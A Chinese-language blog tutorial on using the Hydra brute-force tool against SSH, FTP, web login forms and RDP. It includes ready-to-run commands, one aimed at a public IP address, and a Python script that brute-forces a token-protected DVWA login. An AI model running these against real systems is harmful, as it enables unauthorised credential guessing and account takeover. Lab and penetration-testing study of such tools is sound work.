Hydra暴力破解工具的用法
目录
Hydra
常见参数
破解SSH
破解FTP
破解HTTP
破解3389远程登录
Kali自带密码字典
dirb
dirbuster
fern-wifi
metasploit
wfuzz
Hydra
Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限。
目前该工具支持以下协议的爆破:
AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。
对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等。
由于Kali中自带Hydra,所以怎么安装就不讲了,下面直接讲如何用它。
常见参数
- -R:继续从上一次进度接着破解
- -S:大写,采用SSL链接
- -s <PORT>:小写,可通过这个参数指定非默认端口
- -l <LOGIN>:指定破解的用户,对特定用户破解
- -L <FILE>:指定用户名字典
- -p <PASS>:小写,指定密码破解,少用,一般是采用密码字典
- -P <FILE>:大写,指定密码字典
- -e <ns>:可选选项,n:空密码试探,s:使用指定用户和密码试探
- -C <FILE>:使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数
- -M <FILE>:指定目标列表文件一行一条
- -o <FILE>:指定结果输出文件
- -f :在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
- -t <TASKS>:同时运行的线程数,默认为16
- -w <TIME>:设置最大超时的时间,单位秒,默认是30s
- -v / -V:显示详细过程
- server:目标ip
- service:指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
- OPT:可选项
破解SSH
- hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 5 10.96.10.252 ssh -s 22 #-L指定用户字典 -P 指定密码字典 -o把成功的输出到ssh.txt文件 -vV显示详细信息 -s 指定其他端口
- 如果要修改默认22端口,可以使用 -s 参数
破解FTP
hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 10.96.10.208 ftp #-L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 -t指定线程 -vV 显示详细信息
破解HTTP
我们拿DVWA测试破解HTTP,破解HTTP,需要分析数据包的提交格式
GET方式:
分析数据包,我们得到下面的命令
- hydra -L user.txt -P passwd.txt -o http_get.txt -vV 10.96.10.208 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: PHPSESSID=nvvrgk2f84qhnh43cm28pt42n6; security=low" -t 3
- #前面那些参数就不说了,主要说一下引号里面的数据 /vulnerabilities/brute/ 代表请求目录,用:分隔参数,^USER^和^PASS^代表是攻击载荷,F=后面是代表密码错误时的关键字符串 ,H后面是cookie信息
POST方式:
分析数据包,得到下面的破解命令
- hydra -L user.txt -P passwd.txt -t 3 -o http_post.txt -vV 10.96.10.183 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=dd6bbcc4f4672afe99f15b1d2c249ea5:S=index.php"
- #前面那些参数就不说了,主要说一下引号里面的数据 /login.php 代表请求目录,用:分隔参数,^USER^和^PASS^代表是攻击载荷,S等于的是密码正确时返回应用的关键字符串
但是新版的DVWA采用了token的验证方式,每次登录的token都是不一样的,所以不能用hydra来破解。目前,大多数网站登录都采用了token验证,所以,都不能使用Hydra来破解。
我们可以自己写一个python脚本来破解。
- # -*- coding: utf-8 -*-
- """
- Created on Sat Nov 24 20:42:01 2018
- @author: 小谢
- """
- import urllib
- import requests
- from bs4 import BeautifulSoup
- ##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和token
- def get_cookie_token():
- headers={'Host':'127.0.0.1',
- 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
- 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
- 'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
- 'Connection':'keep-alive',
- 'Upgrade-Insecure-Requests':'1'}
- res=requests.get("http://127.0.0.1/login.php",headers=headers)
- cookies=res.cookies
- a=[(';'.join(['='.join(item)for item in cookies.items()]))] ## a为列表,存储cookie和token
- html=res.text
- soup=BeautifulSoup(html,"html.parser")
- token=soup.form.contents[3]['value']
- a.append(token)
- return a
- ##第二步模拟登陆
- def Login(a,username,password): #a是包含了cookie和token的列表
- headers={'Host':'127.0.0.1',
- 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
- 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
- 'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
- 'Connection':'keep-alive',
- 'Content-Length':'88',
- 'Content-Type':'application/x-www-form-urlencoded',
- 'Upgrade-Insecure-Requests':'1',
- 'Cookie':a[0],
- 'Referer':'http://127.0.0.1/login.php'}
- values={'username':username,
- 'password':password,
- 'Login':'Login',
- 'user_token':a[1]
- }
- data=urllib.parse.urlencode(values)
- resp=requests.post("http://127.0.0.1/login.php",data=data,headers=headers)
- return
- #重定向到index.php
- def main():
- with open("user.txt",'r') as f:
- users=f.readlines()
- for user in users:
- user=user.strip("\n") #用户名
- with open("passwd.txt",'r') as file:
- passwds=file.readlines()
- for passwd in passwds:
- passwd=passwd.strip("\n") #密码
- a=get_cookie_token() ##a列表中存储了服务器返回的cookie和toke
- Login(a,user,passwd)
- headers={'Host':'127.0.0.1',
- 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
- 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
- 'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
- 'Connection':'keep-alive',
- 'Upgrade-Insecure-Requests':'1',
- 'Cookie':a[0],
- 'Referer':'http://127.0.0.1/login.php'}
- response=requests.get("http://127.0.0.1/index.php",headers=headers)
- if response.headers['Content-Length']=='7524': #如果登录成功
- print("用户名为:%s ,密码为:%s"%(user,passwd)) #打印出用户名和密码
- break
- if __name__=='__main__':
- main()
脚本运行截图
破解3389远程登录
hydra 202.207.236.4 rdp -L user.txt -P passwd.txt -V
Kali自带密码字典
暴力破解能成功最重要的条件还是要有一个强大的密码字典!Kali默认自带了一些字典,在 /usr/share/wordlists 目录下
dirb
- big.txt #大的字典
- small.txt #小的字典
- catala.txt #项目配置字典
- common.txt #公共字典
- euskera.txt #数据目录字典
- extensions_common.txt #常用文件扩展名字典
- indexes.txt #首页字典
- mutations_common.txt #备份扩展名
- spanish.txt #方法名或库目录
- others #扩展目录,默认用户名等
- stress #压力测试
- vulns #漏洞测试
dirbuster
- apache-user-enum-** #apache用户枚举
- directories.jbrofuzz #目录枚举
- directory-list-1.0.txt #目录列表大,中,小 big,medium,small
fern-wifi
common.txt #公共wifi账户密码
metasploit
metasploit下有各种类型的字典
wfuzz
模糊测试,各种字典
相关文章:Linux下暴力破解工具Hydra详解
Hydra暴力破解工具的用法相关推荐
- hydra暴力破解工具
目录 Hydra安装 Ubuntu安装 centos系统安装 windows安装 Hydra参数说明 Hydra使用实例 破解ssh 破解ftp/telnet 破解MySQL数据库 批量破解多个主机: ...
- hydra(海德拉)暴力破解工具
暴力破解是指针对目标,反复猜测其密码或用户名的攻击行为.理论上所有的密码 都可以使用暴力破解,但是越复杂的密码需要的时间越长 1.crunch密码字典 基本用法: crunch 最小长度 ...
- 暴力破解工具Hydra
博文视点 2016-12-20 15:20:23 浏览258 评论0 安全 Blog Hydra 摘要: Hydra是世界顶级的密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,密码能否被破 ...
- Linux下暴力破解工具Hydra详解
Linux下暴力破解工具Hydra详解 一.简介 Number one of the biggest security holes are passwords, as every password s ...
- 18.暴力破解工具Hydra
Hydra 世界顶级密码暴力破解工具 支持所有协议在线密码破解,功能强大,密码能否被破解关键取决于枚举的字典是否强大. 在网络安全渗透过程中,配合社工库进行社会工程学攻击,收集个人强相关信息 ...
- 暴力破解工具-hydra使用
一.hydra简介: ydra(九头蛇),分布式任务处理系统,由社交标签服务提供商AddThis六年前开发,现在已得到Apache的开源许可,就像Hadoop一样,只是还没有Hadoop那样的知名度和 ...
- 暴力破解工具Hydra 常用命令总结
暴力破解工具Hydra 常用命令总结 命令: -R 修复之前使用的aborted/crashed session -S 执行SSL(Secure Socket Layer)连接 -s Port 使用非 ...
- linux暴力破解工具
对于 Linux 操作系统来说,一般通过 VNC.Teamviewer 和 SSH 等工具来进行远程管理,SSH 是 Secure Shell 的缩写,由 IETF 的网络小组(Network Wor ...
- [网络安全学习篇10]:扫描技术、暴力破解工具(千峰网络安全视频笔记 10 day)
引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...
最新文章
- 初学PHP:用post传递checkbox
- Python--练习及面试题
- 【自动驾驶】21.左手坐标系和右手坐标系
- python 字典查询比列表快_Python字典vs列表,哪个更快?
- 8个前沿的 HTML5 CSS3 效果【附源码下载】
- BZOJ 1270: [BeijingWc2008]雷涛的小猫( dp )
- pyqt5 qstring在哪个库_PyQt模型/视图结构编程示例:QStringListModel的用法
- 【git】建git仓库
- Unicode详解zz
- EasyUI:动态更改combox下拉框中选项
- PreSubclassWindow()作用
- vb html编程,VB编程:vb打开网页代码
- 开始学习《自己动手写操作系统》遇到的小问题.
- 红帽Linux7考题,RHCSA题库-RedHat-7.pdf
- python办公自动化——批量合并工作簿案例
- 前端框架千千万,抓住两条主线成一半
- 【机器学习线性代数】17 利用SVD进行彩色图片压缩
- 简洁无广告的解压软件
- VMT进阶1-自发光
- MPDA:基于Domain Adaption的V2X协同感知(3D目标检测)